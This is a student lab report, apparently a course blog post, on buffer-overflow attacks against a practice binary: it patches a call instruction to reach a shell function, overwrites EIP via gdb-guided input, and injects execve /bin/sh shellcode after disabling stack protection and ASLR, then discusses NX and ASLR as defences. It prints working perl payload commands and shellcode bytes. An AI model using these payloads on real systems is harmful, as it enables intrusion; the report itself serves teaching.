20222412 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222412 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

本次实验主要内容为 BOF 注入攻击,任务如下:

  • 掌握反汇编及其指令

  • 修改程序的机器指令,从而实现 BOF 注入攻击

  • 注入一段 Shellcode,以实现 BOF 注入攻击

2.实验过程

任务 1:修改可执行文件机器指令,改变程序执行流程

(一)使用虚拟机中的共享文件夹,将主机上的 pwn20222412 可执行文件,传入 kali 虚拟机,如下:

(二)下载目标文件 pwn20222412 的反汇编,如下:

主要分析以下部分:(getShell、foo、main)

(三)注意 main 函数中的 80484b5 这一行,对应机器码为“e8 d7 ff ff ff”,汇编指令为“call 80488491”,对其进行分析。可以知道其使用 call 指令,跳转执行位于 8048491 地址的函数 foo。
此时 EIP 应该指向下一条指令所指向的位置,正常如果不使用 call 函数,应该会存“80484b5 + 5 = 80484ba”,call 指令使得当前 EIP 跳转到 foo 函数所对应的地址,猜测其中“e8”应该是改变 EIP 的机器码,“d7 ff ff ff”为改变的 EIP 的地址的值,分析“d7 ff ff ff”对应数值为-41,所以其对应的应为“41 = 0x 29”,原下一跳地址 80484ba 减去 0x 29 对应值恰好为 8048491,在上述反汇编中查询,可以看到改地址对应的即为 foo 函数的开始,执行完成 foo 函数后,可以看到最后一条指令为 ret,该指令会将 foo 函数弹出栈,然后返回执行 call 函数状态,EIP 会回复为之前状态,继续正常进行汇编过程。

(四)接下来我希望将 main 函数调用 foo 改为调用 getShell,只需修改该行中机器码“e8 d7 ff ff ff”使其指向 getShell 函数的首地址。先复制一个内容与 pwn20222412 相同的文件 pwn20222412_getShell 用于修改,如下:

接着使用 vi 工具(vi pwn20222412_getShell)进入该文件进行修改,如下:

使用“:%!xxd”将文件转化为十六进制读取方式,为使跳转地址改为“804847d”,计算后推测出机器码要改为“e8 c3 ff ff ff”,在使用“/e8d7”查找修改内容,,将“d7”改为“c3”,使用“:%!xxd -r”将文件格式转成原格式,最后保存退出。


这里存在一个问题,直接输入“/e8d7”是无法查询的,可以产生尝试使用“/f0e8”进行查找。怀疑是因为查询时,以四个十六进制为一组,只能组内查询,无法跨组查询。
修改完成之后,使用反汇编指令查看“pwn20222412_getShell”是否修改成功,只要看 main 函数中的 80484b5 这一行对应机器码是否修改成功,以及跳转地址是否为 getShell 函数首地址。

如上图,可以看到,此条指令已经被修改为调用函数 getShell。
该步骤中有一个易错点,若是修改完成之后,未使用指令“:%!xxd -r”,而是直接保存退出,再打开文件使用指令转为原格式,则无法反汇编,原因是文件格式有问题,需要使用指令强制使用指定格式反汇编。可以以修改文件格式,使用“-m”使用指定格式进行反汇编。

(五)对修改后的文件进行编译运行,验证是否成功修改。先运行原文件,可以看到 foo 函数的功能实现输入字符串,系统会输出你输入的字符串。再运行修改后的文件“pwn20222412_getShell”,可以看到其功能就是
实现简单的 Shell,并且输入 exit 会退出程序。截图如下:

任务 2:通过 BOF 注入攻击,实现改变程序执行流程

(一)分析需要攻击的文件,与上述使用中流程基本一致,为与原文件形成对比,便于直观体现攻击成果,复制一份与“pwn20222412”内容一致的文件“pwn20222412_BOF”用于该实验。

(二)确认需要输入多长的字符串才能覆盖到返回地址。使用 gdb 进行代码调试,尝试输入字符串“111112222233333444445555566666777778888899999”,此时使用“info r”查看程序寄存器中的数据,其中我们需要覆盖的地址为 EIP 寄存器。

上图中可以看到,EIP 中存的地址已经被字符串覆盖,其数值为“0x 38373737”,刚好对应了“8 7 7 7”的 ASCII 编码,可以判断输入“11111222223333344444555556666677”后四个字符返回覆盖 EIP。为进一步确认,这次尝试输入“111112222233333444445555566666771234”,如果上述分析正确,则 EIP 应该会被覆盖成“0x 34333231”。

结果确实如上述分析,由此可以判断只要要输入 32 个字符,在加 4 个希望覆盖的值,才能修改指令跳转地址,完成攻击。

(三)找到修改所需字符串数量后,需要确认用什么字符串修改返回地址。根据之前的反汇编结果,可以知道 getShell 的内存地址为“0x 0804847d”,根据 gdb 工具设置断点,查看在某一断点处的 EIP 存的数据结合之前查看 EIP 状态,可以分析得出应该如何正确构造攻击需要输入的字符串。

构造字符串为“11111222223333344444555556666677 \x7d \x84 \x04 \x08”。

(五)由于键盘无法键入“ \x7d \x84 \x04 \x08”这样的十六进制字符,于是可以考虑转化成键盘可输入的方式的。在本次实验中,尝试生成一个包含上述字符串的文件用以攻击。使用指令

“perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_20222412”

用以生成包含攻击字符串的文件“input_20222412”,在使用“xxd input_20222412”查看该文件的十六进制格式,确认构建文件无问题。

(六)在使用管道符“|”将刚刚构建的文件作为“pwn20222412_BOF”的输入,将“0x 0804847d”覆盖到 EIP 中,此时该程序执行的为 getShell 的功能,输入“ls”,回显为 getShell 的回显。

如上图,至此,BOF 注入攻击完成。

任务 3:通过 BOF 注入攻击,注入 Shellcode 并执行。

(一)shellcode 就是一段机器指令,本次实验以

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\”

为例。为与原文件形成对比,便于直观体现攻击成果,复制一份与“pwn20222412”内容一致的文件“pwn20222412_shellcode”用于该实验。首先需要先关闭一些设置。

“execstack -s”用于设置文件堆栈为可执行状态;
“execstack -q”用于确认堆栈为可执行;
“more /proc/sys/kernel/randomize_va_space”用于查找当前地址空间随机化状态,回显“2”代表 完全启用随机化,包括堆和共享库;
“echo "0" > /proc/sys/kernel/randomize_va_space”将随机化改为“0”,代表关闭地址随机化。

通过修改上述设置,使得我们能够预测内存地址,从而更有效地构造攻击载荷。

(二)构造用于攻击的文件,同理二中构造输入文件。指令为

“perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > shellcode_20222412”

其中最前面四位为我们覆盖内存地址后,希望跳转的地址。

(三)接下来我们将通过 gdb,找到我们希望跳转内存地址。首先在一台终端中使用管道符“|”,将刚刚构造的文件“shellcode_20222412”作为输入传入程序“pwn20222412_shellcode”中,再另开一台终端,使用指令“ps -ef | grep pwn20222412_shellcode”查询进程号,可以看到我的程序的进程号是 106252,,再使用 gdb 工具调试该进程。可以看到 foo 函数最后的 ret 地址为“0x080484ae”,而执行完这段代码后就跳转到我们覆盖的地址空间。

在 ret 指令处设置断点,即“break *0x080484ae”,在另一个终端上按下回车,再继续下一步,此时使用“info r esp”查看当前栈顶指针 ESP,地址为“0x ffffcfcc”,使用指令“x/x16 0xffffcfcc”查看该地址部分,可以发现该地址最开始就是我们编写文件时写在最后的“0x 01020304”,证明此时我们已经找到覆盖的部分。

此时如果我们往前查看几行地址空间,就就可以看到我们编写的 shellcode 如图。

与“0x 01020304”部分紧挨着的便是我们所找的返回地址的位置,“0x ffffcfd0”,我们需要修改的就是这个位置。最终修改如下

“perl -e 'print "A" x 32;print "\xd0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > shellcode_20222412”。

可以看到此时我们已经成功完成文件构造,接下来,对其进行编译运行,以验证是否成功进行攻击,如下。

至此,本次实验基本完成。

BOF 注入攻击防御技术

(一)堆栈内存区设置为不可执行

将堆栈内存区设置为不可执行是一个重要的安全措施,旨在防止某些类型的攻击,尤其是缓冲区溢出攻击。以下是这个设置的重要性和影响:
(1)防止代码注入攻击:如果攻击者能够在堆栈上注入恶意代码,而堆栈是可执行的,这可能导致代码被执行。通过将堆栈设置为不可执行,可以有效地阻止这种类型的攻击。
(2)增强系统安全性:许多现代操作系统(如 Linux、Windows)默认启用堆栈不可执行(NX 或 DEP),以提高系统的整体安全性。即使攻击者成功利用了某个漏洞,也无法直接在堆栈上执行注入的代码。
(3)减少攻击面:通过限制堆栈的执行权限,系统可以减少潜在的攻击面,从而降低被攻击的风险。
设置堆栈为不可执行是一个有效的安全策略,对保护系统免受攻击至关重要。在实际使用中,应充分考虑安全与兼容性之间的平衡。

(二)地址随机化

地址随机化(Address Space Layout Randomization, ASLR)是一种内存安全技术,旨在通过随机化内存中关键数据结构的地址来防止攻击者预测程序运行时的内存布局。这项技术主要用于防止缓冲区溢出等攻击手段。
(1)随机化:程序每次运行时,堆、栈和共享库等内存区域的地址都会被随机化。这样,即使攻击者成功地利用了某个漏洞,他们也无法准确地确定恶意代码应该放置在哪个地址上。
(2)提高安全性:通过增加攻击的难度,ASLR 有助于保护系统免受各种类型的利用攻击,尤其是缓冲区溢出、返回到 libc 攻击等。
(3)与其他技术结合:ASLR 通常与其他安全机制结合使用,如数据执行保护(DEP)和堆栈保护,以提供更全面的安全防护。

(4)工作原理:当程序启动时,操作系统会为其分配内存,并随机选择堆、栈和库的加载地址。每个进程的内存布局都是独立的,因此即便多个进程运行相同的程序,它们的内存地址也会不同。

通过随机化内存地址,有效降低了各种攻击的成功率。它与其他安全技术结合使用时,可以显著提高系统的整体安全性。

3.问题及解决方案

  • 问题 1:在进行任务 1 时,查询十六进制文本时,按照指导书使用“/e8d3”无法查询到相应内容。

  • 问题 1 解决方案:对此,尝试查询该段前后对应机器码,发现“e8d3”确实存在与文本,改为查询“f0e8”或“d3ff”就能查到该内容。

  • 问题 2:任务 1 中,初次修改完成十六进制文档,直接保存退出,未使用“:%!xxd -r”,导致无法反汇编退出后,再次打开文件,使用上述指令,发现还是无法反汇编

  • 问题 2 解决方案:猜测可能是应为 kali 系统在进行格式转换时,使用的编码格式发生改变,与原文件不同,一是修改完后直接使用指令改为原格式,二是可以使用反汇编指令中的-m 直接强行使用指定格式进行反汇编。

  • 问题 3:任务 3 中,在准备工作时“execstack”指令无法使用,使用指令也无法下载。

  • 问题 3 解决方案:更新 apt 源文件,再重新安装即可成功。

4.学习感悟、思考等

本次实验是第一次接触反汇编技术,也是第一次真正对机器码进行操作,我经历了一个漫长而富有挑战的过程。起初,这个领域对我来说既陌生又复杂,充满了各种术语和技术细节。我花费了大量时间去理解每一个概念,从基本的指令集到更高级的调试技巧,逐渐构建起自己的知识体系。

在这个过程中,我遇到了许多问题。每当我卡在某个环节时,都会感到沮丧,但我意识到这是学习的一部分,既是为了总结经验,也为了提升自身技术能力。为了克服这些困难,我不断寻找问题的解决方法,在这个过程中,使得我在实践中能够更快上手,通过不断地尝试和调整,我逐步掌握了反汇编的技能,虽然过程艰辛,但每次成功解决一个问题时,那种成就感是无与伦比的。

posted @ 2024-09-29 13:52  wwwwyg  阅读(101)  评论(1编辑  收藏  举报